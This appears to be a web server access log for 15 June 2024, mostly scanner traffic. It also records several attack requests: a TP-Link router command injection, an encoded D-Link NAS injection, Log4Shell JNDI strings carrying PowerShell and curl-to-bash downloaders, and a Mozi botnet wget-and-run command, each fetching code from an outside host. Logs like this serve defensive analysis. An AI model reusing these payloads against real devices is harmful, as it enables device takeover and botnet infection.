45.148.10.174 - - [15/Jun/2024:00:04:47 -0300] "GET /cgi-bin/luci/;stok=/locale?form=country&operation=write&country=$(id%3E%60cd+%2Ftmp%3B+rm+-rf+shk%3B+wget+http%3A%2F%2F45.148.10.78%2Fshk%3B+chmod+777+shk%3B+.%2Fshk+tplink%3B+rm+-rf+shk%60) HTTP/1.1" 404 1013
24.199.109.160 - - [15/Jun/2024:03:15:09 -0300] "GET / HTTP/1.1" 200 11217
24.199.109.160 - - [15/Jun/2024:03:15:10 -0300] "GET /download/powershell/ HTTP/1.1" 404 1001
205.210.31.241 - - [15/Jun/2024:04:39:33 -0300] "GET / HTTP/1.1" 200 11217
199.45.154.18 - - [15/Jun/2024:05:07:43 -0300] "GET / HTTP/1.1" 200 11217
199.45.154.18 - - [15/Jun/2024:05:07:50 -0300] "GET / HTTP/1.1" 200 11217
199.45.154.18 - - [15/Jun/2024:05:07:51 -0300] "PRI * HTTP/2.0" 505 -
199.45.154.18 - - [15/Jun/2024:05:07:53 -0300] "GET /favicon.ico HTTP/1.1" 200 21630
45.148.10.174 - - [15/Jun/2024:05:32:56 -0300] "GET /cgi-bin/nas_sharing.cgi?cmd=15&passwd=&system=ZWNobwktZQkiXHg2M1x4NjRceDIwXHgyZlx4NzRceDZkXHg3MFx4M2JceDIwXHg3Mlx4NmRceDIwXHgyZFx4NzJceDY2XHgyMFx4NzNceDY4XHg2Ylx4M2JceDIwXHg3N1x4NjdceDY1XHg3NFx4MjBceDY4XHg3NFx4NzRceDcwXHgzYVx4MmZceDJmXHgzNFx4MzVceDJlXHgzMVx4MzRceDM4XHgyZVx4MzFceDMwXHgyZVx4MzdceDM4XHgyZlx4NzNceDY4XHg2Ylx4MjBceDdjXHg3Y1x4MjBceDYzXHg3NVx4NzJceDZjXHgyMFx4MmRceDRmXHgyMFx4NjhceDc0XHg3NFx4NzBceDNhXHgyZlx4MmZceDM0XHgzNVx4MmVceDMxXHgzNFx4MzhceDJlXHgzMVx4MzBceDJlXHgzN1x4MzhceDJmXHg3M1x4NjhceDZiXHgyMFx4N2NceDdjXHgyMFx4NzRceDY2XHg3NFx4NzBceDIwXHgyZFx4NjdceDIwXHgyZFx4NzJceDIwXHg3M1x4NjhceDZiXHgyMFx4MzRceDM1XHgyZVx4MzFceDM0XHgzOFx4MmVceDMxXHgzMFx4MmVceDM3XHgzOFx4M2JceDIwXHg2M1x4NjhceDZkXHg2Zlx4NjRceDIwXHgyYlx4NzhceDIwXHg3M1x4NjhceDZiXHgzYlx4MjBceDJlXHgyZlx4NzNceDY4XHg2Ylx4MjBceDY0XHg2Y1x4NjlceDZlXHg2Ylx4M2JceDIwXHg3Mlx4NmRceDIwXHgyZFx4NzJceDY2XHgyMFx4NzNceDY4XHg2Ylx4M2IifHNo&user=messagebus HTTP/1.1" 404 1007
34.74.240.237 - - [15/Jun/2024:06:54:00 -0300] "GET /robots.txt HTTP/1.0" 404 981
34.74.240.237 - - [15/Jun/2024:06:54:01 -0300] "GET /cormun/servlet/hlogin HTTP/1.0" 200 1712
185.224.3.4 - - [15/Jun/2024:08:01:18 -0300] "CONNECT pro.ip-api.com:443 HTTP/1.1" 400 -
185.224.3.4 - - [15/Jun/2024:08:01:18 -0300] ") %ð0ÓåH¯©¾{Ey¹òÎ}¥°µà<WæHhV¬Ñ¡® Z£® " 400 -
91.92.251.254 - - [15/Jun/2024:08:04:18 -0300] "CONNECT 193.149.189.126:7227 HTTP/1.1" 400 -
94.156.71.233 - - [15/Jun/2024:08:52:16 -0300] "CONNECT 193.149.189.126:7227 HTTP/1.1" 400 -
71.6.134.230 - - [15/Jun/2024:11:02:50 -0300] "GET / HTTP/1.1" 200 11217
71.6.134.230 - - [15/Jun/2024:11:03:27 -0300] "GET /favicon.ico HTTP/1.1" 200 21630
185.156.72.32 - - [15/Jun/2024:11:09:21 -0300] "  +&à     Cookie: mstshash=hello " 400 -
185.191.126.213 - - [15/Jun/2024:11:34:38 -0300] "GET / HTTP/1.1" 200 11217
185.38.111.110 - - [15/Jun/2024:13:57:57 -0300] "GET / HTTP/1.0" 200 11197
185.244.36.200 - - [15/Jun/2024:14:05:16 -0300] "GET / HTTP/1.1" 200 11217
160.153.245.83 - - [15/Jun/2024:14:49:21 -0300] "POST /?password=%24%7Bjndi%3Aldap%3A%2F%2F139.59.103.116%3A8066%2FTomcatBypass%2FCommand%2FBase64%2FcG93ZXJzaGVsbCBJRVggKE5ldy1PYmplY3QgU3lzdGVtLk5ldC5XZWJjbGllbnQpLkRvd25sb2FkU3RyaW5nKCdodHRwOi8vMTQuNi44OS4xMzQvanMvbHIucHMxJyk%3D%7D&id=%24%7Bjndi%3Aldap%3A%2F%2F139.59.103.116%3A8066%2FTomcatBypass%2FCommand%2FBase64%2FcG93ZXJzaGVsbCBJRVggKE5ldy1PYmplY3QgU3lzdGVtLk5ldC5XZWJjbGllbnQpLkRvd25sb2FkU3RyaW5nKCdodHRwOi8vMTQuNi44OS4xMzQvanMvbHIucHMxJyk%3D%7D&username=%24%7Bjndi%3Aldap%3A%2F%2F139.59.103.116%3A8066%2FTomcatBypass%2FCommand%2FBase64%2FcG93ZXJzaGVsbCBJRVggKE5ldy1PYmplY3QgU3lzdGVtLk5ldC5XZWJjbGllbnQpLkRvd25sb2FkU3RyaW5nKCdodHRwOi8vMTQuNi44OS4xMzQvanMvbHIucHMxJyk%3D%7D HTTP/1.1" 200 11217
160.153.245.83 - - [15/Jun/2024:14:49:22 -0300] "POST /?id=%24%7Bjndi%3Aldap%3A%2F%2F139.59.103.116%3A8066%2FTomcatBypass%2FCommand%2FBase64%2FY3VybCAtZnNTTCBodHRwOi8vMTQuNi44OS4xMzQvanMvbHIuc2ggfGJhc2g%3D%7D&password=%24%7Bjndi%3Aldap%3A%2F%2F139.59.103.116%3A8066%2FTomcatBypass%2FCommand%2FBase64%2FY3VybCAtZnNTTCBodHRwOi8vMTQuNi44OS4xMzQvanMvbHIuc2ggfGJhc2g%3D%7D&username=%24%7Bjndi%3Aldap%3A%2F%2F139.59.103.116%3A8066%2FTomcatBypass%2FCommand%2FBase64%2FY3VybCAtZnNTTCBodHRwOi8vMTQuNi44OS4xMzQvanMvbHIuc2ggfGJhc2g%3D%7D HTTP/1.1" 200 11217
45.156.128.37 - - [15/Jun/2024:17:14:12 -0300] "GET /js/NewWindow_2_all.js HTTP/1.1" 404 1003
34.74.95.88 - - [15/Jun/2024:17:58:50 -0300] "GET /robots.txt HTTP/1.0" 404 981
34.74.95.88 - - [15/Jun/2024:17:58:51 -0300] "GET /cormun/servlet/hlogin HTTP/1.0" 200 1709
143.198.153.20 - - [15/Jun/2024:18:00:59 -0300] "GET / HTTP/1.1" 200 11217
143.198.153.20 - - [15/Jun/2024:18:00:59 -0300] "GET /download/powershell/ HTTP/1.1" 404 1001
45.148.10.174 - - [15/Jun/2024:18:33:38 -0300] "GET /cgi-bin/luci/;stok=/locale?form=country&operation=write&country=$(id%3E%60cd+%2Ftmp%3B+rm+-rf+shk%3B+wget+http%3A%2F%2F45.148.10.78%2Fshk%3B+chmod+777+shk%3B+.%2Fshk+tplink%3B+rm+-rf+shk%60) HTTP/1.1" 404 1013
35.229.90.185 - - [15/Jun/2024:19:18:35 -0300] "GET /robots.txt HTTP/1.0" 404 981
35.229.90.185 - - [15/Jun/2024:19:18:35 -0300] "GET /cormun/servlet/hlogin HTTP/1.0" 200 1703
91.185.1.70 - - [15/Jun/2024:19:21:23 -0300] "GET / HTTP/1.1" 200 11217
205.210.31.84 - - [15/Jun/2024:19:26:24 -0300] "GET / HTTP/1.1" 200 11217
34.73.146.126 - - [15/Jun/2024:19:46:03 -0300] "GET /robots.txt HTTP/1.0" 404 981
34.73.146.126 - - [15/Jun/2024:19:46:04 -0300] "GET /cormun/servlet/hlogin HTTP/1.0" 200 1714
143.110.146.243 - - [15/Jun/2024:19:58:59 -0300] "GET / HTTP/1.1" 200 11217
143.110.146.243 - - [15/Jun/2024:19:59:00 -0300] "GET /download/powershell/ HTTP/1.1" 404 1001
78.108.177.51 - - [15/Jun/2024:19:59:26 -0300] "GET / HTTP/1.0" 200 11197
167.94.138.120 - - [15/Jun/2024:20:08:55 -0300] "GET / HTTP/1.1" 200 11217
167.94.138.120 - - [15/Jun/2024:20:09:00 -0300] "GET / HTTP/1.1" 200 11217
167.94.138.120 - - [15/Jun/2024:20:09:01 -0300] "PRI * HTTP/2.0" 505 -
167.94.138.120 - - [15/Jun/2024:20:09:03 -0300] "GET /favicon.ico HTTP/1.1" 200 21630
117.222.192.104 - - [15/Jun/2024:21:10:12 -0300] "GET / HTTP/1.1" 200 11217
117.222.192.104 - - [15/Jun/2024:21:10:12 -0300] "GET / HTTP/1.1" 200 11217
61.185.35.63 - - [15/Jun/2024:21:11:31 -0300] "GET /board.cgi?cmd=cd+/tmp;rm+-rf+*;wget+http://61.185.35.109:60418/Mozi.a;chmod+777+Mozi.a;/tmp/Mozi.a+varcron HTTP/1.0" 404 979
205.210.31.44 - - [15/Jun/2024:21:32:41 -0300] " î  êÿ$TcÅ¬K6RkÔÆôûé=»,ÂSn/ b¦ì¢z.ÿ"³T_©2¹%°4<¶#RÁ%:Ä &À+À/À,À0Ì©Ì¨À ÀÀ" 400 -
205.210.31.44 - - [15/Jun/2024:21:32:41 -0300] "-" 400 -
18.116.120.100 - - [15/Jun/2024:22:37:13 -0300] "CONNECT google.com:443 HTTP/1.1" 400 -
45.156.130.8 - - [15/Jun/2024:23:55:56 -0300] "GET / HTTP/1.1" 200 11217
45.156.130.8 - - [15/Jun/2024:23:55:56 -0300] "GET /wp-content/plugins/elementor/readme.txt HTTP/1.1" 404 1039